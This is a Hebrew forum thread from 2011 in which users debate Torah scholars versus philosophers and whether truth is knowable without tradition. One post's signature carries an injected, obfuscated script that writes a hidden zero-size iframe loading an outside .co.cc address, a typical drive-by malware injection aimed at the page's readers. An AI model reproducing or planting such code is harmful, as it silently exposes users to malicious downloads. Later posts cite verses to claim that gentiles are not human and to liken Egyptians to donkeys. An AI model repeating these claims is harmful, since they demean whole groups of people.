|
|
| נשלח ב-13/10/2011 21:12 |
 |
| |
| מיימוני כתב: |  | לעתים אדם, מתוך אמונה גדולה בדרכו ובאמת שנחל, מסתנוור מלראות את העובדות ההיסטוריות. לפעמים אדם מחלק את העולם לפי קטגוריות שגילה במקורות המסורת שלו ואינו שם לב לכך שהעובדות והתיאוריות שלו אינן תואמות כלל.
זה מעורר לפעמים גיחוך, או אולי בושה אצל אלו שנחלו אותה מסורת ושותפים לאותה אמונה.
אפשר שעל מקרה כזה יש לומר: כוונתך - לפרסם את האמת, להוקיע את השטחיות, לשבח עובדי ה' ומבקשי האמת ולהצביע על הטעויות המתודולוגיות של אנשי השקר - כוונתך זו רצויה היא. מעשיך אינם רצויים כיון שהם מכילים טעויות. זה לא טוב לאחרים וזה לא טוב עבורך.
כיצד מתקנים טעויות של אחרים? בוודאי לא על ידי עלבונות ולא על ידי ביקורת אלא על ידי הצעה לעיין ביחד במקורות ולבדוק מה הם אומרים. או בעובדות.
הגיעה העת להעלות שאלות שהיו אמורות להישאל בראשית האשכול. ויתכן שכבר נשאלו ואולי אף זכו לתשובה. ואם כן הרי אני ממחזר:
א. מהו תלמיד חכם. מה הן תכונותיו. מי מוכר לנו כתלמיד חכם בהיסטוריה.
ב. מהו פילוסוף. מה הן תכונותיו. מי מוכר לנו כפילוסוף בהיסטוריה.
לגבי שני הטיפוסים השונים יש לשאול אם נשמרו מטעויות ומצאו את כל האמת ואם דרכם סייעה או הכשילה אותם.
האם יש הבדלים מהותיים ביניהם, שנובעים מהשתייכות המגזרית לכת הפילוסופים או לעולם תלמידי החכמים (יצויין כי כבר ניסוח זה עלול להטעות. את תלמידי החכמים כיבדתי וציינתי שיש להם עולם ואילו לפילוסופים התייחסתי כאל "כת" וזו כמדומה טעות).
הנה נסיון שלי להשיב לשאלות אלו:
א. תלמיד חכם הוא אדם, יהודי, שלומד תורה, שמאמין שהתורה היא דבר השם, שמתאמץ להגיע לאמת, שיש לו תכונות (מידות) אישיות שעלולות להשפיע על התנהגותו ואפילו על החלטותיו אך הוא מתאמץ לשלוט בהן ולנהוג ביושר אינטלקטואלי ויראת שמים. לברר את האמת מפני שהיא אמת ומפני שכך ציוה ה'. והוא כמובן מאמין שהתורה משקפת את האמת העמוקה ביותר.
תלמידי חכמים היו רבא ואביי, רבי עקיבא והרמב"ם, הרמב"ן והגר"א. החזו"א ורבי שלמה זלמן אוירבך ע"ה.
האם היותו של אדם תלמיד חכם מבטיחה שהוא יודע את האמת? מסתבר שלא. כי אצל כל אלו מצאנו טעויות, לפעמים טעויות שנראות לנו מביכות. הרמב"ם האמין בגלגלים (פילוסופיים, לא קבליים) וקבע את היחס בין השמש לכדור הארץ באופן מוטעה. הרמב"ן האמין שיש גלגולים. הגר"א האמין שניתן לברוא גולם. החזו"א פירש סוגיות לפי הבנתו והיה מוכן לכפות את הבנתו על סוגיות ועל פירושים. לגבי הרשז"א לא ידוע לי על טעויות מבוררות אצלו, אבל כמדומה שאחד המאפיינים שלו היה זהירות לא להיכנס לנושאים שלא בדק תחילה בכלים שעמדו לרשותו.
מכל הרשימה הזו נראה לי שיש להסיק כמה מסקנות.
1. גם מי שלומד תורה אינו מוגן מפני טעויות.
2. יש לשער כי כל מאמץ אינטלקטואלי כרוך בסיכון של טעות.
3. אדם עשוי להסיק מן התורה שיש מרחק בין תקוותיו ושאיפותיו לאמת לבין יכולתו להגיע אליה בוודאות.
יש כאלו שהתורה לימדה אותם ענווה (או אולי ידעו זאת בלי התורה, או שהתורה סייעה לביקורת עצמית להתפתח?) ויש כאלו שהיו משוכנעים בדרכם עד שהיו מוכנים לכפות את פרשנותם על המקורות ועל המסורת (הרמב"ם עם הפילוסופיה והמדע האריסטוטליים, הגר"א לא רק עם הקבלה אלא גם עם תפיסת השפה העברית שלו). ויש שהתפרסמו ביתר זהירות (הרשז"א וגם האחרים בתחומים שונים).
כאן חילקתי ציונים לכמה מגדולי עמנו, ולא ניחא לי בעזות שלקחתי לעצמי. הדברים שכתבתי רחוקים מאד למלמצות אישים גדולים. הצבעתי על נקודות בודדות אצל אנשים שהקדישו עצמם לאמת, ויש בדברי כדי להטעות. עם זאת, השתדלתי להצביע על נקודות אשר כשהן לעצמן הן נכונות.
ב. פילוסופים הם בני אדם שעסקו בחיפוש האמת, ודווקא האמת לגבי יסודות המציאות. (יש עוד הגדרות לפילוסופיה). כאלו היו אפלטון ואריסטו, דקארט ויום, קאנט והגל, הרמב"ם (שוב...) וריה"ל.
האם יש משהו משותף לכל אלו? בתכנים שבהם האמינו? בשאלות שעליהן ניסו למצוא תשובה? במתודולוגיה שבה האמינו ניתן למצוא את האמת?
משותף? מעט. תכנים, מעט או כמעט ולא. שאלות - כן. קאנט היה זה שניסח את ארבע השאלות המרכזיות: מה ניתן לדעת? למה ניתן לקוות? מה חובתי בעולמי (הניסוח שלו קצת שונה והאם לא שכחתי שאלה אחת). לגבי המתודולוגיה, הריהי הולכת ומשתפרת ככל שבני אדם רכשו חכמה. אך בני אדם אלו שהזכרתי תרמו לנו הרבה מאד להתפתחות המתודולוגיות שלנו ולניסוח השאלות שמעניינות אותנו באשר אנו בני אדם.
אני מרשה לעצמי להעלות תזה בלי לספק מקורות:
כאשר מסורתי כתב על "פילוסופים", עמדה לנגד עיניו דמות שלקוחה, אני משער, מן הנראטיב (תפיסה כללית שנרכשת בחברה ומסבירה עקרונות ואידיאלים) החרדי. תפיסה זו רואה בפילוסופים המשך של הפילוסוף של ריה"ל, שאינו מכיר באלוקים המתעניין בעולם ומשגיח עליו. תפיסה זו גם קלטה לתוכה את טינת המקובלים לפילוסופים. בדורות מוקדמים של הקבלה כתבו ראשוני המקובלים כי הפילוסופים והמקובלים מאמינים באותם דברים אלא שניסוחיהם שונים. למעשה, נראה כי בראשית ימי הקבלה עסקו המקובלים בחקירות פילוסופיות וסיפקו תשובות מזרם פילוסופי ומיסטי שהיה אז רב השפעה, הנאופלטוניזם. מאוחר יותר המקובלים רצו לייפות את מעמדם ולכן זלזלו בפילוסופים. ובדורות האחרונים, מאז ההשכלה העולמית וההשכלה בעם ישראל, וככל שהמסורת שלנו אימצה יותר ויותר אמונות טפלות ושגויות, כך נולדה שנאה גדולה לאלו שמציגים אותה (ואותנו) בחרפת הטעות, ולכל אלו שעסקו בכך נקרא שם של "פילוסופים" לרעה.
למעשה, במקום שמסורתי רואה גנאי אני רואה את השבח. הפילוסוף האידיאלי, כמו התלמיד חכם האידיאלי, רוצה את האמת. רוצה את התשובות האמיתיות לשאלות החשובות ביותר בעולם. תלמיד חכם מחזיק במסורת שאמורה לספק את התשובות, ואם הן אינן בידנו, הרי הכשלון הוא שלנו. הפילוסוף אינו יודע מראש מאומה (אלא אם כן יש לו ידיעות מלידה, INNATE IDEAS של דקארט) והוא עושה סדר בגילוייו על המציאות או מנסה לנתח את כלי ההכרה שלו כדי לדעת מה אפשר לדעת ואיך.
גם הפילוסוף, כמו אריסטו והגל, עלול להכשיל את עצמו באמונות שגויות מתוך התלהבות יתר או הסתמכות על דמיונות. וזה עלול לקרות גם לתלמיד חכם, בין אם מדובר באלו שאימצו אמונות קבליות (שלא כולן מתיישבות זו עם זו) ובין כאלו שמתוך סברתם טענו שהם מבינים יותר טוב מאחרים את המציאות, ההיסטוריה והתורה.
חרצתי משפט חריף מאד על דמויות היסטוריות שראויות, לפחות במסורת היהודית, ליחס של הערכה. כאשר מצביעים על נקודות של ביקורת וחולשה, וכאשר אין מזכירים את המעלות, מתקבל רושם חד צדדי. יסולח לי כי באתי לאזן את דברי מסורתי. השתדלתי להבדיל קודם כל בין שימושי לשון ודגמים תיאורטיים לבין המציאות ההיסטורית. ובתוך מציאות זו הצבעתי על תופעות בודדות ובולטות. אם יסיק הקורא כי יש להיזהר מהכללות גורפות, זה הלקח החשוב ביותר. לצידו יש לזכור כי גם תלמידי החכמים "שלנו" וגם הפילוסופים ניסו לגלות את האמת בשאלות היקרות ביותר. ואם נכשלו, לפחות עסקו בחיפוש האמת. ואם נכשלו, יש לנו ללמוד מהם את חשיבות החיפוש ולהיזהר מן הטעויות שאנו יכולים לזהות אצלם. שטחיות והתעלמות מעובדות למען התיאוריה הן סכנות שהאשכול הזה יכול להוכיח את מציאותן ועד כמה הן אורבות למי שממהר להתלהב מן האמונות שעליהן גדל ואותן לא בחן די הצורך.
מיימוני קשה לי להתיחס לכל מה שכתבת כי אם כן אצטרך לכתוב מגילה בפני עצמה...
אתיחס לתשובותיך בראשי פרקים:
א. תוכל לתת מקור הלכתי וכד' לגבי גדרו של ת"ח ואיך הגדר הזה קשור למה שכתבת?
ב. שאלת "האם היותו של אדם תלמיד חכם מבטיחה שהוא יודע את האמת?
לתשומת ליבך ידיעת האמת לא קשורה לדיון הזה בכלל. (אפילו בתחילת האשכול לא דברתי על זה)
ג. כתבת "יש כאלו שהתורה לימדה אותם ענווה (או אולי ידעו זאת בלי התורה, או שהתורה סייעה לביקורת עצמית להתפתח?) ויש כאלו שהיו משוכנעים בדרכם עד שהיו מוכנים לכפות את פרשנותם על המקורות ועל המסורת (הרמב"ם עם הפילוסופיה והמדע האריסטוטליים, הגר"א לא רק עם הקבלה אלא גם עם תפיסת השפה העברית שלו). ויש שהתפרסמו ביתר זהירות (הרשז"א וגם האחרים בתחומים שונים)".
התורה לא לימדה אותם ענווה אלא עצם לימוד התורה הוא הוא הענוה (למי שהולך בדרך התלמידי חכמים וכמו שכתבתי בתחילת האשכול ע"ש)
אף ת"ח בכל ההסטוריה לא כפה את פרשנותו על המקורות ועל המסורת - ראה בהקמת שב שמעתתא ששם הוא מקשה
איך הת"ח מפרשים מה שמפרשים וכי הם יכולים להיות ערבים שזאת היא האמת??! והוא מתרץ שעל דעת כן נתנה תורה
מי שהולך בדרכי הת"ח כנ"ל בתחילת האשכול לעולם הוא לא כופה את פרשנותו וחבל שאתה מבין את רז"ל בצורה שאינה נכונה.
ד. כתבת "פילוסופים הם בני אדם שעסקו בחיפוש האמת, ודווקא האמת לגבי יסודות המציאות
כאן הטעות שלך ושלהם, אין קשר בין בירור יסודות המציאות לבין בירור האמת
אי אפשר לברר את האמת מכוון שבלי מסורת אין אמת לכן פילוסוף שמברר את האמת ללא מסורת הוא הולך בדרך ללא מוצא והוא מערבב בין מושגים נבדלים כו' כו' כדרכם של הפילוסופים כו' כנ"ל בתחילת האשכול
ה. כשאני כתבתי על פילוסופים לא עמדה לנגד עיני שום דמות שהיא אלא מה שעמד מולי היא מהותו של אדם המחפש את האמת
אבל מכוון שלפי האמת אין דבר כזה לחפש את האמת ללא מסורת לפיכך הסקנתי את המסקנות כנ"ל בתחילת האשכול ע"ש.
_________________
שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
 |
|
|
|
|
| נשלח ב-13/10/2011 21:14 |
|
| |
| 932woland כתב: | | אני משער ש MSORTI הלך ובדק לפחות אצל חשובי הפילוסופים, וקרא ספריהם לבדוק אם הבחנתו יש לה על מה לסמוך. או אולי, באמת, רוצה הכותב לקבוע מראש שאין גדול מתלמיד חכם, ומתלמידי חכמים אין גדול מתלמיד חכם יהודי, והוא ממציא לנו איזה תרוץ להוכיח את תגליתו ברבים.
ודאי, כל 'הוגי הדעות' הגדולים מאומות העולם החזיקו במרתף ביתם איזה תלמיד חכם יהודי, וחילצו ממנו את חכמתו ותורתו, וגזלו ממנו את האמת הידועה רק לו, ופרסמו בשמם. כיצד זה, נבצר ממני להבין, לא נמצא איזה תלמיד חכם מאומתנו, שעמד ברשות עצמו ופרסם את חכמתו ברבים, והאפיל על כולם בזהר אורו, להוציא אחד, שהשתווה באורו אליהם, והחרימו אותו ונידו אותו מקהל ישראל.
עודד |
|
ההבחנה שלי היא אחת ויחידה - אי אפשר לדעת את האמת ללא מסורת - פשוט וקל!
|
|
|
|
| נשלח ב-13/10/2011 21:17 |
|
| |
| צענערענע כתב: | | ההבדל בין תלמיד חכם לפילוסוף שהפילוסוף מחויב לאמת והתלמיד חכם לתורה.
ואת הפילוסופיה רכשו התלמידי חכמים מהגויים הפילוסופים עד שעל כרחם הוכרחו ת"ח לומר שחכמה בגויים תאמין-(כלומר מותר לקחת מהם חכמה ) אבל לקרוא להם אדם זה כבר מוגזם. |
|
הפילוסוף לא יכול להיות מחויב לאמת כי בלי מסורת אין אמת
את הפילוסופיה רכשו הת"ח מהגויים משום שלא התגלה אז חכמת הזוהר הקדושה....
|
|
|
|
| נשלח ב-13/10/2011 21:22 |
|
| |
כל פילוסוף מתחיל יודע שאי אפשר ללמוד לקרא אם לא מתחשכים במסורת ש א זה א ולא בית. חייבים מסורת כבל דבר.
אבל צריכים גם לשמור על המסורת שקיבלנו מאבותנו שה B ברוסית אינה הB באנגלית. ויש לשמור על המסורת של הידיעות כי העולם משתנה ומתפתח ואינו שוקט על שמריו
|
|
|
|
|
| נשלח ב-13/10/2011 22:32 |
|
| |
ירוחם אני מסכים איתך
|
|
|
|
| נשלח ב-13/10/2011 22:42 |
|
| |
"להיות חכם למפרע זו לא חכמה גדולה (חחחחח )
זו חכמה גדולה מאד.
הבעיה היא שאנחנו חוזרים על הטעויות שלנו ולא לומדים מן הנסיון.
ולכן כל שנה אנחנו חוזרים מחדש:אשמנו,בגדנו.
כשתגדל אולי תבין..
|
|
|
|
| נשלח ב-13/10/2011 22:54 |
|
| |
לא בגלל הטעויות אנו חוזרים על אשמנו בגדנו, אנחנו נהנים גם מהעשיה וגם מהתשובה-
במוצאי יום הכיפורים אמר הרב -לאחד הביילנים הגדולים שעשה הכל להנאתו- אני מקנא בך!
שאל אותו הבחור- למה כבוד הרב מקנא בי?
- כי ראיתי אותך מתפלל בדבקות גדולה- וההלכה היא כי כל עבירותיך הפכו למצוות, וכך יש לך הרבה יותר מצוות ממני!
- אם זה כך רבי- חכה עד שנה הבא ותקנא בי הרבה הרבה יותר.
|
|
|
|
| נשלח ב-13/10/2011 23:07 |
|
| |
צענערענע כתבה על פילוסופים מן הגויים כי מותר לקחת מחכמתם 'אבל לקרוא להם אדם זה כבר מוגזם'.
האמנם כוונתך לומר כי הגוי אינו אדם?
עודד
|
|
|
|
| נשלח ב-13/10/2011 23:10 |
|
| |
בבא מציעא דף קיד: אתן צאני צאן מרעיתי אדם אתם - אתם קרויין אדם, ואין נכרים קרויין אדם.
|
|
|
|
| נשלח ב-13/10/2011 23:13 |
|
| |
עודד
כל מה שאמרתי זה ציטוטים מדברי חז"ל.
|
|
|
|
| נשלח ב-13/10/2011 23:13 |
|
| |
עודד
היא כתבה בציניות - ברמז למאמר שציטט ירוחםשמ בהודעה הקודמת.
|
|
|
|
| נשלח ב-13/10/2011 23:23 |
|
| |
| ירוחםשמ כתב: | | בבא מציעא דף קיד: אתן צאני צאן מרעיתי אדם אתם - אתם קרויין אדם, ואין נכרים קרויין אדם. |
|
ישעיהו פרק יט (כד) בַּיּוֹם הַהוּא יִהְיֶה יִשְׂרָאֵל שְׁלִישִׁיָּה לְמִצְרַיִם וּלְאַשּׁוּר בְּרָכָה בְּקֶרֶב הָאָרֶץ:
(כה) אֲשֶׁר בֵּרֲכוֹ יְקֹוָק צְבָאוֹת לֵאמֹר בָּרוּךְ עַמִּי מִצְרַיִם וּמַעֲשֵׂה יָדַי אַשּׁוּר וְנַחֲלָתִי יִשְׂרָאֵל:
|
|
|
|
| נשלח ב-13/10/2011 23:36 |
|
| |
מקס אתה רוצה מלחמת ציטטות
יחזקאל פרק לד פסוק לא אַתֵּן צֹאנִי צֹאן מַרְעִיתִי אָדָם אַתֶּם אֲנִי אֱלֹהֵיכֶם נְאֻם אֲדֹנָי יְקֹוִק: פ
ומה שהוא אומר על המצריים שלך
יחזקאל פרק כג פסוק כ אֲשֶׁר בְּשַׂר חֲמוֹרִים בְּשָׂרָם וְזִרְמַת סוּסִים זִרְמָתָם:
אלו בני אדם בעייניך?
|
|
|
|
| נשלח ב-13/10/2011 23:45 |
|
| |
אין כאן וויכוח כלל, כל זמן שעובדים ע"ז אז הם לא חמורים כי למה לבייש את החמורים ? הרי יודע שור קנהו וחמור אבוס בעליו, אז למה לפגוע בחמורים ? אבל יש לתרץ שיחזקאל אומר בשר חמורים כלומר חמור מת,
אבל ישעיהו אומר שאם מאמינים בקל אחד אז אין יותר הבדל, כל אומה שמאמין בקל אחד הם עמי,
היום שרוב האנושות מאמינים בקל אחד אפי' הכופרים מודים שאם יש אז יש אחד,(הם רק לא בטוחים שיש מספק) במילא כולם כל האנושות היום הם עמו של האלוקים,
תוקן על ידי maxmen ב- 13/10/2011 23:45:44
|
|
|
|
|
